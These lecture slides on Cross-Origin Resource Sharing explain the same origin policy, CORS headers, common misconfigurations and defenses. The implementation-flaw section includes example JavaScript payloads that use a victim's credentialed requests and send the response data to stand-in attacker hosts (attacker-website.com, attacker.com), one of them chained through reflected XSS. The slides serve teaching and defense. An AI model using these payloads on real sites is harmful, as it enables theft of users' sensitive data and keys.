Cross Origin Resource Sharing

Kameswari Chebrolu

Outline

- Background
- What is CORS?
- Implementation Flaws
- Defenses
- Real Life Examples
- Summary

Background

- HTTP stateless
- Solution?
  - Cookies/Session tokens stored at server and importantly provided to client and managed by browser
  - Browser submits cookies automatically on future requests to preserve state across multiple requests

Web Mashups

- A server with origin A can return HTML code that loads a resource (e.g. json, images, scripts) from another origin B
- Why? For improved functionality, helps share resources
  - Load static resources such as images from an image hosting site or CDN
  - Allow a user to upload profile data on one website and display it on a different website
  - Allow developers to make use of shared resources (libraries, scripts etc)
  - Allow marketing teams to integrate content such as videos or advertisements from a different provider on their own site

Dangers

- Dynamic web applications offer rich functionality
  - JavaScript permitted to both access and modify DOM
  - Javascript also can access authentication tokens/cookies
- But malicious JavaScript loaded from a third-party domain, should not be allowed access to sensitive data
- Need protection mechanisms!

Same Origin Policy (SOP)

- Origin: protocol + hostname + port
  - (http) + (www.iitb.ac.in) + (80)
- Browser restricts access to resources of an origin
  - A malicious script loaded from one origin cannot access sensitive data on a page loaded from a different origin
    - Cookies or response to HTTP request or DOM object of other origin
  - SOP cross-origin reads via scripts are disallowed by default
  - Note: web pages may freely embed cross-origin images, stylesheets, scripts, iframes, and videos etc
    - Certain “cross-domain” requests, notably Ajax requests via JavaScript, are forbidden by default

Example 1

- Website A frames Website B
- Website B's HTML has a javascript
- Can this javascript manipulate DOM or access cookies of website A?
  - NO (due to SOP)

Example 2

- Website A's HTML has the following code
  - <script src="https://websiteB.com/script.js"></script>
- Can this javascript manipulate DOM of website A?
  - YES

(if instead of a script, it is an image or another html file or css, all load fine in website A as well)

Example 3

- A script running on https://websiteA.com tries to make an AJAX request (GET) to https://websiteA.com/api/data
- Can the script access the response of the request?
  - YES

- A script running on https://websiteA.com tries to make an AJAX request (GET) to https://websiteB.com/api/data
- Can the script access the response of the request?
  - NO (due to SOP)

javascript

```
fetch('https://websiteB.com/api/data')
.then(response => response.json())
.then(data => console.log(data));
```

Cross-Origin Resource Sharing (CORS)

- SOP, an important concept but web mashups very useful to deliver rich functionality
  - See example 3 earlier, SOP will not allow access to response!
- CORS proposed in 2006
  - Provide a means of white-listing origins as if they reside within the same origin!
  - Allows more freedom and functionality but with more security

- CORS relaxes same-origin policy by allowing servers to specify which origins can access their resources
  - Achieved through the use of HTTP headers
- When a web browser makes a cross-origin request, the HTTP request contains an "Origin" header
  - Origin indicates from where the request originated
  - Based on this, server responds with specific CORS headers to indicate whether request allowed or not!

- Access-Control-Allow-Origin: Specifies which origins are allowed to access the resource
  - Can specify specific origins or a "*" which allows access from any origin
- Access-Control-Allow-Methods: This header specifies the HTTP methods (e.g., GET, POST, PUT, DELETE) that are allowed when accessing the resource from a cross-origin request

- Access-Control-Allow-Headers: This header specifies which HTTP headers are allowed in a cross-origin request
- Access-Control-Allow-Credentials: This header indicates whether the request can include credentials (such as cookies or HTTP authentication) when making a cross-origin request

Example

Suppose web content at https://bank.com wishes to invoke an api hosted at https://api.bank.com to get bank details of user

Code of this sort might be used in JavaScript (deployed on bank.com)

Without CORS, the response from api.bank.com is not returned by browser to bank.com (same origin policy)

```
const xhr = new XMLHttpRequest();
const url = "https://api.bank.com/accounts/";

xhr.open("GET", url);
xhr.onreadystatechange = handler;
xhr.send()
```

Request from bank.com

GET /accounts/users/261 HTTP/1.1
Host: api.bank.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0)
Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://bank.com

(The Origin header is added by browser in all cross-origin requests
Request is originated by bank.com and sent to api.bank.com)

Response from api.bank.com

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

[… Data…]

*: resource (Data) can be accessed by any origin

If "Access-Control-Allow-Origin: https://bank.com", then only bank.com can access data and not others

Access with Credentials

- By default, cross-origin requests will not include credentials like cookies and Authorization headers
- But CORS supports "credentialed" requests via Access-Control-Allow-Credentials header

Request from bank.com

GET /accounts/users/261 HTTP/1.1
Host: api.bank.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0)
Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Referer: https://bank.com/account-details.html
Origin: https://bank.com
Cookie: session=eh1206a11-d52a-4205-91fd-47fbd2ff132f

(note cookie here belongs to api.bank.com)

Response from api.bank.com

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2021 03:14:10 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://bank.com
Access-Control-Allow-Credentials: true
Cache-Control: no-cache
Set-Cookie: id=31123; expires=Wed, 31-Dec-2021 01:34:53 G
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 106
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

[Data]

- Data can be accessed only by https://bank.com and only if Access-Control-Allow-Credentials is set to true
  - Browser will handle this!
- One cannot combine the wildcard * with the cross-origin transfer of credential
- Note: Cookies set in CORS responses are subject to normal third-party cookie policies
  - E.g. page loaded from bank.com but cookie sent by api.bank.com would not be saved if the user's browser is configured to reject all third-party cookies

Implementation Flaw: Access to any domain

- Some applications provide access to a number of other domains in a dynamic fashion
- Take easy route of effectively allowing access from any requesting domain
  - Just reflect the received origin in the reply under Access-Control-Allow-Origin

```
GET /sensitive-victim-data
Host: vulnerable.com
Origin: http://www.attacker.com

And the server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin:
http://www.attacker.com
Access-Control-Allow-Credentials: true
```

If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on attacker website:

```
var xhr = new XMLHttpRequest();
xhr.onload = function() {
        if (xhr.responseText.trim() !== '') {
            window.location.href = '//attacker-website.com/log?data='
+ encodeURIComponent(xhr.responseText);
        }
};
xhr.open('GET', 'https://vulnerable.com/data', true);
xhr.withCredentials = true;
xhr.send();
```

Implementation Flaw: Whitelist Origins

- When a CORS request is received, supplied origin is compared to the whitelist
- If allowed, reflected in the Access-Control-Allow-Origin header

Host: normal-website.com
...
Origin: https://good-website.com

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://good-website.com

- Rules are often implemented by matching URL prefixes or suffixes
- Suppose an application grants access to all domains ending in good-website.com
  - An attacker might be able to gain access by registering the domain: attackergood-website.com
- Alternatively, suppose an application grants access to all domains beginning with good-website.com
  - An attacker might be able to gain access using the domain: good-website.com.attacker.net

XSS+CORS

- If a subdomain has an XSS vulnerability, it can be used to bypass CORS
- Suppose a website has a page that shows some sensitive information and further it implements CORS
  - If an attacker tricks a victim user to access this page, CORS will check origin (=attacker) and will not share response even if request originated by victim browser
- If the website has a subdomain that has XSS and CORS policy allows access from sub-domains, attacker can retrieve sensitive info

Given the following request:

```
GET /api/requestApiKey HTTP/1.1
Host: vulnerable.com
Origin: https://subdomain.vulnerable.com
Cookie: sessionid=...
```

Server responds with:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable.com
Access-Control-Allow-Credentials: true
```

Server allows the subdomain to access response of requests made to it

- Suppose the subdomain has a reflected XSS vulnerability in the product id
  - https://subdomain.vulnerable.com/?productId=<script>alert(1)<script>
  - Results in some HTML text

```
<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="UTF-8">
        <title>Product Page</title>
</head>
<body>
        <h1>Product Details</h1>
        <div id="product-info">
        No Such Product ID:
<script>alert(1)</script>
        </div>
</body>
</html>
```

Payload of Attacker (hosts on attacker website which victim user is tricked to click)

```
<script>
    document.location="http://subdomain.vulnerable.com/?productId=<s
cript>var req = new XMLHttpRequest(); req.onload = reqListener;
req.open('get','https://vulnerable.com/accountDetails',true);
req.withCredentials = true;req.send();function reqListener()
{location='https://attacker.com/log?key='+this.responseText;
};</script>"
</script>
```

With any such payloads, remember URL encoding is often needed for this to work in practice

Defenses

- CORS vulnerabilities arise primarily due to misconfigurations and improper whitelisting
- If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin header
  - Only allow trusted sites with proper checks
  - Avoid wildcards

- CORS defines browser behavior, never a replacement for server-side protection of sensitive data
  - An attacker can forge a request from any trusted origin
  - Web servers should continue to apply protections over sensitive data
    - Authentication and session management on top of CORS

Real Life Examples

- Zomato’s CORS Misconfiguration: https://hackerone.com/reports/426165
- CORS Misconfiguration on vanillaforums.com https://hackerone.com/reports/1527555

Summary

- CORS relaxes SOP to help with web mashups
- Manages this via HTTP headers
  - Origin, Access-Control-Allow-Origin etc
- Implementation flaws mainly arise from improper configuration
- Defense: Configure server properly!

References

- https://portswigger.net/web-security/cors
- https://auth0.com/blog/cors-tutorial-a-guide-to-cross-origin-resource-sharing/